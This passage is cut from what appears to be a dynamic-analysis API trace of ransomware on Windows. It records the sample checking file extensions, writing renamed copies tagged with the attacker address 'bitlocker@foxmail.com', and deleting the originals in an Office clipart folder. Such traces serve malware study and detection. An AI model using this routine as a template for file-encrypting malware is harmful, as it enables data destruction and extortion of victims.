lpString2=".WMF") returned -1 [0186.155] lstrlenW (lpString=".bz2") returned 4 [0186.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.156] lstrlenW (lpString=".7z") returned 3 [0186.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.156] lstrlenW (lpString=".dbf") returned 4 [0186.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.156] lstrlenW (lpString=".1cd") returned 4 [0186.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0186.156] lstrlenW (lpString=".jpg") returned 4 [0186.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.156] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.156] lstrlenW (lpString="BS00442_.WMF") returned 12 [0186.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.156] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2488) returned 1 [0186.156] CloseHandle (hObject=0x1e4) returned 1 [0186.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0186.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.157] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.157] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.157] GetLastError () returned 0x0 [0186.157] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x9b8, lpOverlapped=0x0) returned 1 [0186.159] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0186.160] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.160] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.160] SetEndOfFile (hFile=0x1c8) returned 1 [0186.160] CloseHandle (hObject=0x1c8) returned 1 [0186.160] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.160] SetEndOfFile (hFile=0x1e4) returned 1 [0186.161] CloseHandle (hObject=0x1e4) returned 1 [0186.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.162] lstrlenW (lpString=".doc") returned 4 [0186.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.162] lstrlenW (lpString=".docx") returned 5 [0186.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.162] lstrlenW (lpString=".pdf") returned 4 [0186.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.162] lstrlenW (lpString=".xls") returned 4 [0186.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.162] lstrlenW (lpString=".xlsx") returned 5 [0186.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.162] lstrlenW (lpString=".ppt") returned 4 [0186.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.162] lstrlenW (lpString=".zip") returned 4 [0186.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.162] lstrlenW (lpString=".rar") returned 4 [0186.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.162] lstrlenW (lpString=".bz2") returned 4 [0186.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.162] lstrlenW (lpString=".7z") returned 3 [0186.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.162] lstrlenW (lpString=".dbf") returned 4 [0186.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.162] lstrlenW (lpString=".1cd") returned 4 [0186.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.162] lstrlenW (lpString=".jpg") returned 4 [0186.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.163] lstrlenW (lpString=".doc") returned 4 [0186.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString=".docx") returned 5 [0186.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.163] lstrlenW (lpString=".pdf") returned 4 [0186.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString=".xls") returned 4 [0186.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.163] lstrlenW (lpString=".xlsx") returned 5 [0186.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.163] lstrlenW (lpString=".ppt") returned 4 [0186.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.163] lstrlenW (lpString=".zip") returned 4 [0186.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.163] lstrlenW (lpString=".rar") returned 4 [0186.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString=".bz2") returned 4 [0186.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString=".7z") returned 3 [0186.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.163] lstrlenW (lpString=".dbf") returned 4 [0186.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.163] lstrlenW (lpString=".1cd") returned 4 [0186.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0186.164] lstrlenW (lpString=".jpg") returned 4 [0186.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.164] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.164] lstrlenW (lpString="BS00443_.WMF") returned 12 [0186.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.164] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1676) returned 1 [0186.164] CloseHandle (hObject=0x1e4) returned 1 [0186.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0186.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.165] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.165] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.165] GetLastError () returned 0x0 [0186.165] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x68c, lpOverlapped=0x0) returned 1 [0186.166] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x690, lpOverlapped=0x0) returned 1 [0186.167] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.167] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.167] SetEndOfFile (hFile=0x1c8) returned 1 [0186.168] CloseHandle (hObject=0x1c8) returned 1 [0186.168] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.168] SetEndOfFile (hFile=0x1e4) returned 1 [0186.168] CloseHandle (hObject=0x1e4) returned 1 [0186.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0186.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.169] lstrlenW (lpString=".doc") returned 4 [0186.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.169] lstrlenW (lpString=".docx") returned 5 [0186.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.169] lstrlenW (lpString=".pdf") returned 4 [0186.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.169] lstrlenW (lpString=".xls") returned 4 [0186.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.169] lstrlenW (lpString=".xlsx") returned 5 [0186.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.169] lstrlenW (lpString=".ppt") returned 4 [0186.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.169] lstrlenW (lpString=".zip") returned 4 [0186.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.169] lstrlenW (lpString=".rar") returned 4 [0186.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.169] lstrlenW (lpString=".bz2") returned 4 [0186.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.169] lstrlenW (lpString=".7z") returned 3 [0186.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.169] lstrlenW (lpString=".dbf") returned 4 [0186.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.170] lstrlenW (lpString=".1cd") returned 4 [0186.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.170] lstrlenW (lpString=".jpg") returned 4 [0186.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.170] lstrlenW (lpString=".doc") returned 4 [0186.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.170] lstrlenW (lpString=".docx") returned 5 [0186.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.170] lstrlenW (lpString=".pdf") returned 4 [0186.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.170] lstrlenW (lpString=".xls") returned 4 [0186.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.170] lstrlenW (lpString=".xlsx") returned 5 [0186.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.170] lstrlenW (lpString=".ppt") returned 4 [0186.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.170] lstrlenW (lpString=".zip") returned 4 [0186.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.170] lstrlenW (lpString=".rar") returned 4 [0186.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.170] lstrlenW (lpString=".bz2") returned 4 [0186.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.170] lstrlenW (lpString=".7z") returned 3 [0186.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.170] lstrlenW (lpString=".dbf") returned 4 [0186.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.171] lstrlenW (lpString=".1cd") returned 4 [0186.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0186.171] lstrlenW (lpString=".jpg") returned 4 [0186.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.171] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.171] lstrlenW (lpString="BS00444_.WMF") returned 12 [0186.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.171] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3896) returned 1 [0186.171] CloseHandle (hObject=0x1e4) returned 1 [0186.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0186.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.172] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.172] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.172] GetLastError () returned 0x0 [0186.172] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xf38, lpOverlapped=0x0) returned 1 [0186.174] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xf40, lpOverlapped=0x0) returned 1 [0186.174] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.365] WriteFile (in: hFile=0x1c8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.365] SetEndOfFile (hFile=0x1c8) returned 1 [0186.770] CloseHandle (hObject=0x1c8) returned 1 [0186.770] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.770] SetEndOfFile (hFile=0x1e4) returned 1 [0186.786] CloseHandle (hObject=0x1e4) returned 1 [0186.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0186.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.791] lstrlenW (lpString=".doc") returned 4 [0186.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.791] lstrlenW (lpString=".docx") returned 5 [0186.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.791] lstrlenW (lpString=".pdf") returned 4 [0186.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.791] lstrlenW (lpString=".xls") returned 4 [0186.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.791] lstrlenW (lpString=".xlsx") returned 5 [0186.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.791] lstrlenW (lpString=".ppt") returned 4 [0186.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.791] lstrlenW (lpString=".zip") returned 4 [0186.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.791] lstrlenW (lpString=".rar") returned 4 [0186.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.791] lstrlenW (lpString=".bz2") returned 4 [0186.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.792] lstrlenW (lpString=".7z") returned 3 [0186.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.792] lstrlenW (lpString=".dbf") returned 4 [0186.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.792] lstrlenW (lpString=".1cd") returned 4 [0186.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.792] lstrlenW (lpString=".jpg") returned 4 [0186.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.792] lstrlenW (lpString=".doc") returned 4 [0186.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.792] lstrlenW (lpString=".docx") returned 5 [0186.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.792] lstrlenW (lpString=".pdf") returned 4 [0186.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.792] lstrlenW (lpString=".xls") returned 4 [0186.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.792] lstrlenW (lpString=".xlsx") returned 5 [0186.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.792] lstrlenW (lpString=".ppt") returned 4 [0186.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.792] lstrlenW (lpString=".zip") returned 4 [0186.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.792] lstrlenW (lpString=".rar") returned 4 [0186.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.793] lstrlenW (lpString=".bz2") returned 4 [0186.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.793] lstrlenW (lpString=".7z") returned 3 [0186.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.793] lstrlenW (lpString=".dbf") returned 4 [0186.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.793] lstrlenW 